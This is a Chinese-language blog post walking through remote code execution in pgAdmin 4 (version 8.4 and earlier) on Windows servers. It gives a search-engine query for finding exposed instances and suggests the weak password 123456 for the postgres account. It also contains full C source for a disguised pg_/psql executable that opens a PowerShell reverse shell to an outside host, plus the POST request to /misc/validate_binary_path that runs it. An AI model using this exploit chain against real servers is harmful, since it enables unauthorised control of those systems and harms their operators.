Babing
Published on 2024-08-30 / 1 Visits
0
0

P14-1PgAdmin-数据库-RCE

P14-1PgAdmin-数据库-RCE

漏洞描述:

PgAdmin数据库在登陆后台后,可以上传文件进行RCE操作,攻击者可以利用此漏洞控制服务器。

利用条件

pgAdmin <= 8.4

pgAdmin4 必须在 Windows 服务器上运行

需登录后利用

需关闭 Windows Defender

影响版本:

pgAdmin <= 8.4

网站图片:

网站图片

360quake语法:

app: “pgAdmin "

漏洞复现:

需要可以登陆web页面,一般PgSQL弱口令为123456,postgres
依次点击

image-20240710150321163

image-20240710150333840

image-20240710150345329

image-20240710150355384

上传文件

创建.c文件,并编译为exe,文件的名称必须是pg_(或psql)才能执行,必须是已知的 postgresql 工具。

反弹shell

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {

    if (argc > 1 && strcmp(argv[1], "--version") == 0) {
        system("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('1.1.1.1', 9999);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
    } else {
        printf("Usage: %s --version\n", argv[0]);
    }
    return 0;

}

上传成功之后,

替换Cookie、X-pgA-CSRFToken、filePath中对应的值,filePath为文件在服务器中的绝对路径发送请求

payload:

POST /misc/validate_binary_path HTTP/1.1
Host: 1.1.1.1
Content-Type: application/json
Cookie: Cookie
X-pgA-CSRFToken: Token

{"utility_path": "filePath"}

参考链接

https://mp.weixin.qq.com/s/vwwQR8PlZxbls19Qr2zXkg


Comment